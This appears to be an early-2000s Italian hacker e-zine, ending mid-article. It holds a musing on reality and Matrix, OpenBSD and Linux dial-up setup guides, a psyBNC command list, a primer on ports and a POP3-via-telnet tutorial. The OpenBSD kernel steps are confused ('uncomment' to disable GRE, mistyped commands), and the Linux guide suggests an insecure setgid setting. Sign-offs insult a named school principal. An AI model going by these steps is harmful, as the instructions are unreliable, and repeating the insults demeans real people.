HAL9000 uccide, ma lo fa solo perche' ha paura di essere spento. Sarebbe la sua *morte*. Vabbe', basta parlare di cose cosi' "concrete" :)) Gia', perche' troppe cose sono state date per scontate... vivere, ok, ma dove e come? Tu che stai leggendo, si', sei sicuro di essere vivo, ma oltre a quello cosa sai? Niente, non sai niente. E' per questo che si ha paura della morte, credo. Morte... a volte mi vengono a parlare di vita dopo la morte, si ciarla (con tutto il rispetto di chi legge) di reincarnazioni, paradisi pieni di donne nude ed inferni fiammeggianti dove vagano anime castigate (che siano tutti i tamarroni che girano per Salerno?). Beh, quando mi dicono cose del genere mi viene da ridere. "Secondo te cosa c'è dopo la morte?" "Io mi accontenterei di capire cosa c'è prima". La realta'... gia', cose tangibili, che capiamo... composizione chimica di tutto cio' che ci circonda, fino a giungere ad atomi e quark... leggi fisiche... astronomia... ma dove si arriva? Da nessuna parte. Alla fine, continuiamo a non saperne un ca77o di quello che c'è alla base. Se voi siete convinti che sia tutta opera di un Dio, beati voi: per me è una risposta troppo banale, non c'è sfizio a chiudere la questione cosi'. "Dio è onnipotente ed è il creatore". Cioe', si', ci vuole assai a risolvere la questione cosi'! Sette parole, e via... mah. Vabbe', chiudiamo la questione religiosa, va', che gia' vedo gli esponenti di qualche organizzazione inquisitrice che mi vogliono venire a prendere sotto casa, in quanto sacrilego e blasfemo... ;) Mi stavo chiedendo cos'è la realta'. Gia', perche' sto riprendendo 'sto file dopo un paio di settimane. Si', sono di nuovo alle 3.40 di notte a scrivere senza pensare a cosa sto scrivendo. O almeno a non pensarci troppo, altrimenti finisce che mi convinco che potrei stare facendo qualcosa di meglio. E se mi convinco che potrei stare facendo qualcosa di meglio, non mi chiedo piu' cosa sia la realta'. Potrei abbreviare con un "vediti Matrix", ma sarebbe poco elegante. Ho stile, io. :) "Questo non è reale? Che vuol dire reale? Dammi una definizione di reale. Se ti riferisci a quello che percepiamo, a quello che possiamo odorare, toccare e vedere, quel reale sono semplici segnali elettrici interpretati dal cervello." (Morpheus, Matrix) Gia'. Perche' per quanto inverosimile e fantasiosa, una visione come quella di Matrix potrebbe anche essere azzeccata. Il problema è che anche nell'ipotesi che ci si riuscisse a spiegare da cosa e come è generata la realta' che percepiamo, resterebbe sempre da spiegarsi cos'è l'ambiente nel quale ci si spiega cos'è la realta' (che frase contorta). Perche' se Morpheus & co. sono consapevoli dell'esistenza della Matrice, l'immenso programma che emula perfettamente il reale, continuano a non sapere dove si trovano quando sono fuori da Matrix. E' quella la realta'? E come si fa ad esserne sicuri? E se è quella, cos'è? Domande senza risposta. ("Le 20:30", "via Mazzini", "un drink". Risposte senza domande. Ehehe. :) ) Matrix... in pratica, una perfetta realta' virtuale. Mi piace molto l'idea della realta' virtuale. Interazione fisica con un ambiente che non esiste materialmente. Vedi un oggetto in un visore, disegnato in tempo reale da un software che lo adegua al tuo punto di vista. Grafica 3d, insomma. Il bello, pero', viene quando allunghi una mano e puoi sentire i bordi dell'oggetto, il suo peso... puoi prenderlo, lanciarlo... A quanto so, si fanno prove del genere con delle speciali tute formate da piccoli cuscinetti gonfiabili... un segnale arriva ai cuscinetti appropriati all'azione compiuta, che si gonfiano ad una certa pressione... ed ovviamente si avverte la forza del cuscinetto spingere, come se fosse l'oggetto virtuale a pesare, ad esempio. Fai per prenderlo da sotto, ed ecco i cuscinetti sul palmo gonfiarsi simulando la sua presenza. Tratterro' gli esempi inerenti le tutine erotiche per fingere di avere ancora senso del pudore (bwahahah). Passare dai cuscinetti all'azione diretta sulle terminazioni nervose, come si ipotizza in Matrix, non credo sia qualcosa di -relativamente- difficile... Beh, ora vorrei farvi pensare ad una cosa. Probabilmente tutti voi avrete in vita vostra fatto una partita al rivoluzionario Wolfenstein 3D, il primo sparatutto in -falso- 3D della storia dei videogames. Magari ricorderete lo stupore che assaliva chi ci giocava per la prima volta. La sensazione di profondita', di movimento realistico. Ma provate a lanciarlo ora. "Che cagata 'sto gioco", direte. Gia', perche' è del tutto sorpassato, ormai...poi lanciate Quake III, o che so, Soldier of Fortune. Migliaia e migliaia di poligoni a video (mentre in Wolf3D c'era si e no qualche muro), leggi fisiche a controllare i colpi, trasparenze, illuminazione dinamica, texture dal realismo impressionante... spari nell'acqua, e vedi cerchi concentrici allargarsi dal punto nel quale è arrivato il proiettile. Senti i bossoli cadere tintinnanti alle tue spalle, o vedi un muro sporcarsi del sangue tuo o di un nemico vicini a quel muro mentre venivano colpiti. E quanto tempo è passato dall'ormai squallido Wolf3D? Saranno si' e no 10 anni. E pensate che sto parlando solo di videogames, non di simulazioni professionali come quelle che si usano ad esempio nell'ambito dell'ingegneria, dei crash tests di auto e simili... Come saranno le cose tra qualche decina d'anni? Riuscite ad immaginarlo? Io si'. Io immagino... la soglia. Perche' per quanto complessa sia la realta' come noi la conosciamo, nel momento in cui sara' possibile simulare perfettamente gli atomi degli elementi fondamentali, poco piu' di un centinaio, sottoponendo questi atomi a tutte le leggi fisiche conosciute e facendoli interagire tra loro, non sara' possibile distinguere la realta' dalla simulazione. Per il semplice fatto che neanche nella realta' si puo' "vedere" oltre... (e non vi mettete a cianciare di quark e simili che tanto avete capito quello che voglio dire :P) Increduli? Eh, magari avete ragione voi, magari no. La sicurezza completa non esiste (e non parlo solo di sicurezza informatica ;)) Ancora una volta, è solo una questione di complessita', di scala... come la robotica e/o la genetica potrebbero portare ad un replicante, androide, cyborg o come vogliate chiamarlo anche migliore dell'uomo, che altro non è che un'affascinante ed infinitamente complessa macchina biochimica comunque non priva di difetti, la realta' virtuale potrebbe arrivare ad avere un livello di "dettaglio" tale da rendersi indistinguibile dalla realta' come noi la conosciamo, come accade appunto in Matrix. Una volta avuto il controllo totale, appunto, non si sarebbe obbligati a simulare solo leggi fisiche & co., ma si potrebbe creare una nuova fisica piu' comoda... (in Matrix, da un certo punto di vista, la possibilita' di compiere qualsiasi azione - salti e simili - si puo' interpretare come un hack della Matrice, che è possibile compiere solo una volta acquisita la consapevolezza... non a caso anche prima di uscire da Matrix Neo e Trinity - e un po', a quanto sembra, un po' tutto il gruppetto di Morpheus - sono hackers ("..programmatore di giorno, hacker di notte...." - ".. quella trinity? Quella entrata nel database del fisco?"). (Feww, ce l'ho fatta, ho ricondotto di nuovo il discorso all'hacking, forse Syn non mi caccia neanche questa volta ;)) Ero rimasto alla questione di scala, eh? Bueno, gia' che ci siamo pensiamo un attimo a quanto siamo insignificanti in confronto all'universo. Tu che stai leggendo, non sei altro che un ammasso di atomi che formano uno dei 5 miliardi (e passa) di essere umani che abitano la Terra. La Terra è un pianeta abbastanza piccolo appartenente al sistema solare. Insieme ad altri pianeti orbita attorno alla stella Sole, ed il sole non è che una delle circa 500000 stelle che formano la nostra galassia, la Via Lattea. La via lattea non è che una delle tante galassie che formano l'universo conosciuto. Vi siete mai chiesti cosa c'è oltre entrambi gli estremi? Pensate a come percepisce il mondo che lo circonda un insetto molto piccolo... non so, una mosca... tutto le appare muoversi molto piu' lentamente di quanto sembri a noi (ed infatti giudichiamo "veloce" una mosca), perche' è piccola rispetto a noi... noi che ad esempio giudichiamo lento lo spostarsi del sole... ma tutto cio' è ancora comprensibile, si è lontati dagli estremi.... e se una galassia come noi la conosciamo non fosse che un atomo da un altro punto di vista? Beh, spero di avere eliminato dalle vostre menti qualcuna di quelle gia' scarse certezze che vi si trovano... perche' se si è certi di qualcosa, la si da' per scontata e non ci si pensa... E se non si pensa, si perde... la sconfitta peggiore, perche' il nostro pensiero è l'ultimo gradino in fatto di complessita', impossibile da emulare con efficacia al giorno d'oggi... ...è quello che ci permette di distinguerci dagli animali e dalle macchine e che ironicamente, allo stesso tempo, potrebbe permettere di creare qualcosa di piu' complesso di noi stessi... per giungere li', dove nessun uomo (?) è mai giunto prima. ...ah, se l'uomo crea una forma di vita (?) anche migliore di se', ed è capace di preparargli un ambiente adeguato, reale (?) o virtuale (c'è differenza? Quale?) che sia, cosa impedisce di definirlo Dio? ... ehm... ...ok, ho capito, vi ho fatto 2 palle cosi' :) beh, dai, riprendetevi un po'... - Cosa fanno 100 Pentium uno dietro all'altro? . . . . . . . . . . . . . . - Una microprocessione! :) out, il vostro (ma solo delle amabili lettrici, sperando che ce ne siano) Ghent __________________________ / \______-H@Team-______/ \ |__/Share the knowledge!\__| |mailto:ghent@hackersat.com| | http://www.hackersat.com | \ http://www.accaet.da.ru / -------------------------- _____________________________________________________________________________ "I've... seen things, you people wouldn't believe. Attack ships on fire off the shoulder of Orion. I watched C-beams glitter in the dark near the Tannhäuser Gate. All those... moments, will be lost... in time, like... tears... in the rain. Time... to... die." (Roy Batty - Blade Runner) _____________________________________________________________________________ /===========================::=============================::=================/ / /Utilizzare l'adsl con OpenBSD / oVERDRIVE / /===========================::=============================::=================/ Come utilizzare un servizio ADSL, con un modem Alcatel, e naturalmente un sistema operativo Open BSD. Dunque, mi presento, mi chiamo oVERDRIVE, e ho scritto qusto articoletto, che poi è una traduzione che ho modificato, per far si che gli utenti di OpenBSD possano trovare delle informazioni per configurare il proprio sistema operativo e usufruire del servizio ADSL. Iniziamo subito con il dire che vi occore un file chiamato pptp-obsd.tar.gz, ovvero Point to Point Tunneling Protocol, lo trovate tra i ports: # mount / oppure lo potete scaricare al seguente url: http://www.f00bar.net/dl/pptp-obsd.tar.gz http://www.packetst0rm.net/html/projects/howto/pptp-obsd.tar.gz http://www.bsdfr.org/doc/pptp-open-1.0.2.tar.gz una volta scaricati i sorgenti, scompattateli ed installateli: % make % make install Se qualcosa non dovesse andare per il verso giusto copiate a mano i file: pptp, e pptp_callmgr nella directory /usr/bin % cp pptp /usr/bin % cp pptp_callmgr /usr/bin Create il file /etc/ppp/options, e inseritegli le seguenti rige: name "NOMELOGIN" noauth noipdefault defaultroute debug Naturalmente il campo "NOMELOGIN" deve essere sostituito con la login che vi ha assegnato il vostro provider. Create ora il file chiamato /etc/ppp/pap-secrets, e inserite al suo interno le seguenti rige: NOMELOGIN 10.0.0.138 PASSWORD Come nel file precedente, il campo NOMELOGIN va sostituito con lo stesso campo usato precendentemente, il campo PASSWORD va sostituito con la password che vi ha assegnato il vostro provider. L'indirizzo 10.0.0.138, è l'indirizzo di default che indica fisicamente il vostro modem Alcatel, quindi una volta configurata l'interfaccia alla quale è connesso il modem (vi spiego dopo come fare), potete fare un semplice ping -c1 10.0.0.138, ed esso vi risponderà. L'unico utente che deve leggere questo file è l'utente root, quindi settate pure i permessi di lettura e scrittura al solo utente root con il seguente comando: % chmod 600 /etc/ppp/pap-secrets Giunti a questo puno dobiamo inserire i nomi dei server DNS, del vosrto provider nel file /etc/resolv.conf (se non esiste createlo): namesrever 212.216.112.112 nameserver 212.216.172.62 Ho inserito gli ip dei server DNS del mio provider (non dovrei fare publicità), voi inserite i vostri. Come vi dicevo prima, ora dovete configurare la vostra interfaccia di rete alla quale è connessoil modem Alcatel. Assegnate alla medesima un indirizzo ip che faccia parte della rete 10.0.0.0/24, ad esempio : 10.0.0.1: % ifconfig INTERFACCIA inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255 Sostituite il campo INTERFACCIA con in nome del dispositivo, nel mio caso il modem si trova connesso alla scheda eternet 0 quindi lr0. Per rendere queste modifiche sull'interfaccia in modo permanete, bisogna modificare il file /etc/hostname.INTERFACCIA (nel mio caso /etc/hostname.rl0) nel modo seguente: inet 10.0.0.140 255.255.255.0 NONE media autoselect Bon, ora siete pronti per connettervi, %pptp 10.0.0.138& e per chiudere la connessione potete killare i processi: % kill -9 [numero del processo del pppd] % kill -9 [numero del processo del pptp] Se avete dei problemi con la connessione fate riferimento al file di log /var/log/messages potete monitorare il tutto con il seguente comando: % tail -f /var/log/messages Se la vostra connessione alla rete resta in piedi solamente qualche manciata di secondi, molto probabilmente vi trovate di fronte ad un problema con lo pseudo device GRE, che se attivo nel kernel cattura tutti i pacchetti GRE e il PPTP non riesce a vederli !!!! causandone un time out. Se fate riferimento al file di log sopracitato (/var/log/messages), vi troverete una dicitura simile a questa: LCP:Timeout sending Config-Request Potete provare a disabilitare lo pseudo device GRE usando il comando "sysctl" % sysctl -w net.inet.gre.allow=0 Se non dovesse funzionare, cosa molto probabile (nella versione 2.9, ad esempio non funzione), allora la soluzione è la ricompilazione del kernel !!! Non temete non è una cosa difficile. Naturalmente, non serve che ve lo dica io, dovete avere i sorgenti del kernel, se non li avete, scaricateli. Questa modifica del kernel serve solo a disabilitare la GRE pseudo device: Aprite il file /usr/src/sys/conf/GENERIC Decommentate la riga: option pseudo-device GRE Per decommentare una riga intendo la cancellazione del simbolo # ora entrate nella dir che corrisponde alla vostra macchina (mi riferisco all'architettura) es: /i386 se avete una macchina con architettura intel % cd /usr/src/sys/arch/i386/conf bene compiliamo il kernel con la modifica che abbiamo appena apportato: % config ./GENERIC % cd ../compile/GENERIC % make depmod % make Bene, una volta compilato il kernel bisogna copiarlo nella directory / con il nome "bsd.2" % cp bsd /bsd.2 Rebootate... non è una parlaccia... dovete riavviare la macchina, e durante il prompt del loader, digitiamo "bsd.2" boot:bsd.2 Provate ora a connettervi, dovrebbe essere andato tutto per il verso giusto, e se vi da fastidio oppure vi reca impedimenti immettere bsd.2 ad ogni prompt di boot, potete salvare il vostro vecchio "kernel", con il nome di bsd.old (ad esempio), e rinominare bsd.2 con il nome bsd % cp /bsd /bsd.old % mv /bsd.2 /bsd In questo modo il boot caricherè direttamente il kernel da voi compilato. Per la ricompilazione del kernel potrete trovare su questo sito, le relative traduzioni e riferimenti. In aggiunta a questo articoletto, potrete scaricare uno scriptino che in modo automatico si riconnette alla rete, quando si verificano dei problemi, tramite il crontab: é stato scritto da Peter Chiocchetti. Un ringraziamento fa fatto a: * Hopfer Alois from www.inode.at for pointing me to the FreeBSD howto * Lukas Ertl for the FreeBSD howto that can be found at http://mailbox.univie.ac.at/~le/freebsd+adsl-howto.html * the openbsd mailing list people who gave me a lot of hints /===========================::=============================::=================/ / /Connettersi con Linux / oVERDRIVE / /===========================::=============================::=================/ In Linux si usano due programmi, essenzialmente: "chat" che invia i comandi al modem "pppd" , il demone che instaura il dialogo secondo il protocollo ppp con il server dell'ISP. I files su cui interverremo sono sostanzialmente 5: /etc/ppp/pap-secrets /etc/resolv.conf /etc/host.conf /bin/ispup /bin/ispdown Come si può intuire tratterò il caso di accesso con autenticazione PAP. Innanzitutto dovremo inserire il nostro username e password, comunicateci dal provider, nel primo di questi files, in questo modo: # /etc/ppp/pap-secrets username * password * # fine Poi dovremo modificare il secondo, che semplicemente indica al nostro sistema i dns da usare durante la connessione, controllando che compaiano le righe: # /etc/resolv.conf search dominioprovider.it nameserver 111.222.111.222 nameserver 222.111.222.111 # fine dove ovviamente dovremo inserire i dati forniteci dall'ISP al momento della stipulazione del contratto al posto degli esempi che ho scritto :) Poi bisogna comunicare al sistema in che modo deve risolvere i nomi dei computer sulla rete (non importa se non avete una rete locale e l'unica rete per voi è internet, dovete specificarlo lo stesso...). Per fare questo bisogna operare su /etc/host.conf. # /etc/host.conf order hosts,bind multi on # fine Fatto tutto ciò il nostro sistema è pronto, e possiamo quindi passare alla realizzazione dei veri e propri script di connessione, cioè quelli che eseguiremo quando vorremo connetterci o disconnetterci. Questo per connettersi: # /bin/ispup IP_ISP="0.0.0.0" IP_LOCALE="0.0.0.0" DISPOSITIVO="/dev/modem" # oppure il nome della seriale VELOCITA="57600" TELEFONO="0123456789" NOMEUSER="username" /usr/sbin/pppd \ connect "/usr/sbin/chat -v \ TIMEOUT 3 \ ABORT BUSY \ ABORT 'NO CARRIER' \ '' \dATZ \ OK \dATX0 \ OK \dAT\d$TELEFONO \ TIMEOUT 60 \ CONNECT '' " \ user $NOMEUSER -d \ -detach crtscts modem \ defaultroute noipdefault \ $IP_LOCALE:$IP_ISP \ $DISPOSITIVO \ $VELOCITA # fine e questo per disconnettersi # /bin/ispdown kill -INT `cat /var/run/ppp0.pid` # fine A questo punto, se volete collegarvi senza essere loggati come root, la via più semplice anche se la meno sicura è quella di dare i permessi di esecuzione degli script a tutti gli utenti (oppure vi create un gruppo di utenti apposito) e di dare il bit di suid group al pppd. Per connettervi digitatte al prompt "ispup&" (la & serve a mandare in back- ground il processo, in modo che abbiate ancora libera la shell per copiere altre operazioni. Tutto ciò che ho scritto è stato il frutto di un "collage" tra consigli di altri utenti e l'ISP-hookup-Howto. Consiglio anche di dare un occhiata a questo documento e alla documentazione dei vari programmi citati ("man pppd" e "man chat"). oVERDRIVE /===========================::=============================::=================/ / /psyBNC help / syn / /===========================::=============================::=================/ eccovi la traduzione in italiano dei comandi del psyBNC, infine vi metto quelli + necessari e + di uso frequente : Ricordatevi solo che 0=disattiva 1=attiva /BHELP guida ai comandi /BWHO lista di tutti gli utenti /VHOST setta il vhost per la connessione /PROXY setta il proxy per la connessione /SETUSERNAME setta il tuo username /SETAWAY testo setta il messaggio di away /SETLEAVEMSG setta il messaggio di quit /LEAVEQUIT 1/0 se attivato esce da tutti i chan alla disconnessione /SETAWAYNICK setta il nick di away quando sei disconnesso /JUMP salta al prossimo server della lista /BQUIT esce dalla connessione /BCONNECT si connette /AIDLE attiva/disattiva l'antiidle /AUTOREJOIN attiva/disattiva l'autojoin /ADDSERVER aggiunge un server nella lista /DELSERVER numero cancella il server dalla lista /LISTSERVERS lista corrente dei server /ADDNETWORK aggiunge una rete al client /DELNETWORK cancella la rete dal client /ADDOP aggiunge un utente (che viene oppato da te) /DELOP cancella un utente (che viene oppato da te) /LISTOPS lista di tutti gli utenti op aggiunti /ADDAUTOOP aggiunge un utente che si oppa automaticamente da te /DELAUTOOP elimina l'utente auto op /LISTAUTOOPS lista degli auto op /ADDBAN aggiunge un ban (globale o in un chan) /DELBAN numero elimina un ban /LISTBANS lista dei ban /DCCANSWER risponde alle richieste di dcc chat /DCCCHAT richiede una dcc chat all'utente /DCCSEND invia un file da un utente /DCCGET preleva un file da un utente /AUTOGETDCC preleva sempre file inviati /DCCCANCEL cancella la dcc chat o il traferimento /PLAYPRIVATELOG legge i logs /ERASEPRIVATELOG cancella tutti i logs /BKILL login disconnette un utente dal bounce (non lo elimina) /PASSWORD newpass cambia la password corrente */MADMIN dichiara un utente come amministratore */UNADMIN revoca i diritti di amministratore da un utente /ACOLLIDE disattiva/attiva acollide /SOCKSTAT visualizza l'elenco di sockets aperti, il traffico in uscita ed entrata, la criptatura, lo stato, il tempo di apertura ed altre informazioni. Ecco il mio minuscolo contributo :) Se siete sfaticati visitatevi www.psyfree.da.ry ; eh si avete capito bene, un mio amico non aveva niente da fare così si è messo a distribuirli, voi provate, penso che adesso ci abbia ripensato :) syn www.accaet.da.ru www.brokerall.da.ru synarckio@yahoo.it /===========================::=============================::=================/ / /Cosa sono le porte ? / Screenet_it / /===========================::=============================::=================/ Screener_it è tornato ragazzi !!!! Come ? Te ne eri andato ? Non c'eravamo accorti che mancassi !!! Grazie !! Scherzi a parte, con questo insulso articolo riprendo a scrivere articoli per il sito.. Era da un bel po' che non scrivevo niente.. Per fortuna che sui txt non metto mai le date altrimenti.. Passiamo ad altro.. Di che parleremo oggi ? Parleremo di porte !!! Cominciamo subito: vicino al mio computer c'è una porta in legno, montata sui dei cardini.. La struttura è molto interessante... SCHERZO !!!! Oggi parleremo di altre porte !! Parleremo di porte del computer.. Vabbè, io vado, eh.. /8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\/8\ \8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/\8/ Come ben sapete quando un computer è collegato in internet ha un suo indirizzo IP.. Sì, fin qui c'eravamo.. Pensate a un computer, pensate a un server.. Quanti servizi offre ? Può offrire l'accesso FTP, HTTP, SMTP, POP3, NEWS.. Tanti servizi insomma.. E come fa a gestirli contemporaneamente ? In teoria ci vorrebbe un computer per ogni singolo servizio.. QUindi uno per l' FTP, uno per l'HTTP, uno per il POP3.. Eh, sì, e poi ??? Allora per mettere in piedi un sito dobbiamo comprarci una casa solo per farci stare solo i computer.. In più ogni computer sarebbe collegato in rete con un altro indirizzo IP.. Che sega!! Adesso pensate a noi.. Quanti programmi per chattare avete installati sul computer ? ICQ, C6, Yahoo Messanger, mIRC.. E magari intanto che chattate con questi programmi navigate sul world wide web (www) e vi caricate il vostro sito con l'FTP.. Ma come cazzo fa il computer a reggere tutte queste informazioni che viaggiano ? Non c'è pericolo che i dati si mischino ? NOn ci avevate mai pensato ? Ahi, ahi, ahi.. Proprio per evitare che i programmi mischino i loro dati mentre li trasmettono (in questo caso sarebbero in CONFLITTO) e si disturbino a vicenda esistono le porte.. Per capirci meglio pensate di entrare nell'edificio comunale del vostro paese.. Bene, quello è il server. Ora, a voi serve un documento d'identità.. Dove andate ? All'ufficio anagrafe, ovvio. Se invece foste avete bisogno di parlare direttamente con il sindaco ? Andate al suo ufficio, ovvio. Le porte sono un po' come gli uffici.. Ognuna di esse svolge un determinato servizio, che non può essere svolte dalle altre. Pensare a un server (o a un computer) senza porte sarebbe un po' come immaginare tutto gli uffici comunali in unico stanzone immenso e senza nessun cartello.. Immaginate di trovarti in questo stanzone enorme, tutto attorniato da persone che vagano per la stanza.. Fermate la prima persona : "Scusi, per fare la carta d'identità dove vado?" "Non lo so.. Provi da quella signora laggiù" "No, non si deve rivolgere a me.. No, non lo so chi le può essere utile.." Tempo 3 secondi e uno impazzirebbe... Con le porte invece è tutto più semplice. A ogni porta è affidato un certo servizio, così si evitano le confusioni. -Ok, abbiamo capito a cosa servono le porte... Ma quante sono ? Ogni computer ha a disposizione porte a partire da 0 fino a 65535. Ogni porta ha una sua particolare funzione, che volendo ognuno può programmare.. -Ma cosa risponde alla porta ? Alle varie porte rispondono i demoni.. Aiuto, c'ho paura !! Niente paura, ragazzi !! I demoni non sono altro che programmi che si mettono in ascolto su una data porta e quando qualcuno spedisce qualche comando a quella porta loro lo eseguono.. Sempre che il "demone" riconosca il comando che gli viene spedito.. Per vedere se ci sono demoni attivi sul vostro computer basta che andiate nel prompt di dos e digitiate netstat -an Se trovate qualcosa tipo 0.0.0.0 1005 LISTENING Vuol dire che c'è un demone che è in ascolto sulla porta 1005 che attende istruzioni.. Il più delle volte i demoni sono programmi innocui, come ICQ che si mette in ascolto per vedere quando il computer è online.. A volte cmq i demoni possono anche essere virus, come Back Orifice e Netbus, che si mettono in ascolto ed attendono che qualche lamerazzo di merda li attivi.. Per informazioni più approfondite vedi la sezione "Virus Zone" del sito del Tank Commandos. -Ma come mai esistono tante porte ? Dalla 0 alla 65535 sono ben 65536 porte !! Esistono così tante porte x evitare al massimo i conflitti tra i vari programmi.. E' difficile che 2 demoni siano in ascolto sulla stessa porta, se i programmatori dei 2 hanno potuto scegliere fra 65536 porte!!! Alcuni servizi comunque usano porte che tutti conosco e che sanno quindi che non possono utilizzare.. Sono i servizi ben noti ed occupano le porte al di sotto della 1024.. Quindi se un giorno farete un programma di chat ricordatevi di indicare come porta di ricezione messaggi e di invio due porte superiori alla 1024.. Un consiglio: per evitare al massimo i conflitti vi conviene usare porte molto alte, sopra le 31000 !!! State sicuri che lì di conflitti ne troverete pochi !!! -Hai parlato di porte i cui servizi sono ben noti... Quali sono ? Allora.. Dipendono dal sistema operativo e dall'utilizzo che viene fatto del computer.. Cmq le porte principali sono: |-------------------| | PORTA | SERVIZIO | |-------------------| |----7---|---ECHO---| |---21---|---FTP----| |---23---|--TELNET--| (SOLO UNIX) |---25---|---SMTP---| |---37---|--SERVER--| |---43---|---WHOIS--| |---79---|--FINGER--| |---80---|---HTTP---| (A VOLTE LA PORTA PUO' ESSERE LA 8080) |--110---|---POP3---| |--119---|---NEWS---| |--------|----------| In genere a queste porte rispondono questi servizi (demoni) ma possono variare.. Nel 99% dei casi almeno queste porte sono giuste.. Potete trovare tutte le porte "Well Know Services" nel file services che in WIn 98 si trova in c:\windows Mi pare di aver esaurito l'argomento.. Passiamo a un paio di dediche, che no fanno male.. /&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\/&\ \&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/\&/ GRAZIE A: Bakunin - 6 un mito !!!! Buona maturità !!! Marina - Gli occhi + belli che ho mai visto !!! Mad - Se non ci fossi tu a tenermi compagnia nelle lunghe sere.. Jarod[KM] - 6 grande anche tu.. e 6 anche simpatico !!! -/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\ -\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/-\/ Se abbiamo ringraziato qualcuno mandiamo anche a fanculo qualcuno.. FUCK TO: Ricky Martin (di Ostuni): Le proteine fanno marcire il cervello.. Tu ne sei la prova The Daemon: 6 un hacker ? E che te ne fai di un pass e di un login di Tin.it ? A quelli che si credono hacker anche se non sanno neppure come si scrive IO NON HO PAURA DI VOI.. MA VOI AVETE PAURA DI ME !!! ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()() Screener_it /===========================::=============================::=================/ / /Pop3 / mR_bIs0n / /===========================::=============================::=================/ Titolo: Leggere le mail da telnet, ovveri i comandi POP3 spiegati e commentati Autore: mR_bIs0n Musica ascoltata: Alien Ant Farm - Smooth Criminal Dickies - Killer Klown From Outer Space Ramones e NoFx varii Consumo: ora vedo che c'è da mangiare... NULLA! Saluti a: tutti li amici di chat (troppi), li amici di classe, a tutti li punk del mondo, a Francesca Fucks to: Preside Prof. Basile Vittorio, un grande pezzo di merda Possiamo inizià Bellaaa ragazzi oggi sto a casa ammalato e vi spiego come fare a leggere le mail da remoto, tramite il telnet e i comandi POP3. Innanzitutto spieghiamo cos'è il POP3 (Post Office Protocol): sarebbe il protocollo che consente agli utenti di accedere alle caselle di posta e di recuperare le e-mails. Di solito la porta utilizzata dal server POP3 è la 110. Quando ci colleghiamo col telnet al server e alla porta 110 stabiliamo una connessione con esso e il server ci saluta pure! telnet popmail.libero.it:110 +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E B63336A@pop2.libero.it> Ricordiamoci che i comandi solitamente sono seguiti da parametri da noi scelti. Esistono due indicatori di stato: +OK (positivo) e -ERR (negativo). Una volta collegati, dopo che il server si è presentato, si entra nella sezionedetta 'AUTHORIZATION'. In questo momento il server si deve identificare l'utenza. Solo una volta che il server ha riconosciuto l'utente, possiamo passare nella sezione detta 'TRANSACTION'. In questa sezione si può interagire e fare le proprie scelte. Dopodicchè, quando ci disconnettiamo dal server, quest'ultimo entra nella sezione detta 'UPDATE', e cioè aggiorna i nostri cambiamenti e infine ci saluta. Mi sa' che il server aspetta 10 minuti prima di disconnettere se ancora non vi siete identificati. Ma passiamo alla pratica. Esistono due metodi di identificazione, il classico e quello tipo 'APOP'. Vi spiego solo il primo (più semplice). telnet popmail.libero.it:110 +OK POP3 PROXY server ready (6.0.012)<5ED43B2F3D030765F52C08DBE6E1D769E B63336A@pop2.libero.it> ...siamo connessi... ora inseriamo il nostro user e la nostra pass: user sono_gay@libero.it +OK Password required pass menevanto +OK 88 messages (l'esempio non è autobiografico!) | in questo caso tutto è andato bene, ci ha accettati e ci ha detto quanti messaggi contiene la mailbox, 88 appunto. Se qualcosa va storto... -ERR invalid user or password ritentate, scrivete con calma senza fare errori o correzioni! Abbiamo passato lo stato di AUTHORIZATION e ora ci troviamo in TRANSACTION. Bene ora passiamo ai comandi: stat +OK 88 878599 Col comando STAT ci facciamo dire quanti messaggi di posta ci sono e quant'è la grandezza di tutti essi. list +OK 1 1647467 2 2458881 3 3256 ... 88 354235 con questo comando possiamo vedere la lista dei messaggi contenuti nella mail box e tutti corrispondono ad un numero. list 4 +OK 4 534553 così vediamo solo una mail. retr 3 +OK 3256 bytes Return-Path: Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it (6.0.021) id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 Received: (from majordomo@localhost) by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 [...] (tante altre coseeeee) possiamo leggere il contenuto delle mail, sconsiglio di usarlo, al massimo settate il buffer del vostro client telnet molto alto, in modo da poterle leggere. dele 34 +OK message marked for deletion in questo modo marchiamo la mail che deve essere cancellata, dopo il quit, verrà eliminata. noop +OK ignoro l'utilizzo di questo comando, mi sono documentato e non dice nulla. Forse potrebbe servire a controllare se il server, magari tra una operazione e un'altra, è ancora attivo. rset +OK se abbiamo marcato dei messaggi per essere eliminati, facendo questo comando, annulliamo ogni marcatura. quit +OK POP3 server closing connection quittando il server esegue tutti gli ordini impostati prima. top 3 10 +OK 3256 bytes Return-Path: Received: from smtp4.libero.it (193.70.192.54) by ims1b.libero.it (5.5.042) id 3BA9972B0071D04C; Tue, 16 Oct 2001 04:09:33 +0200 Received: from lists.technorail.com (62.149.128.39) by smtp4.libero.it (6.0.021) id 3BC59D68005AC99F; Tue, 16 Oct 2001 04:09:27 +0200 Received: (from majordomo@localhost) by lists.technorail.com (8.11.6/8.8.7) id f9FM0xR11976 for aruba-info-list; Tue, 16 Oct 2001 00:00:59 +0200 [...] (solito header completo) (+ le prime 10 righe del messaggio) | molto utile, in questo modo 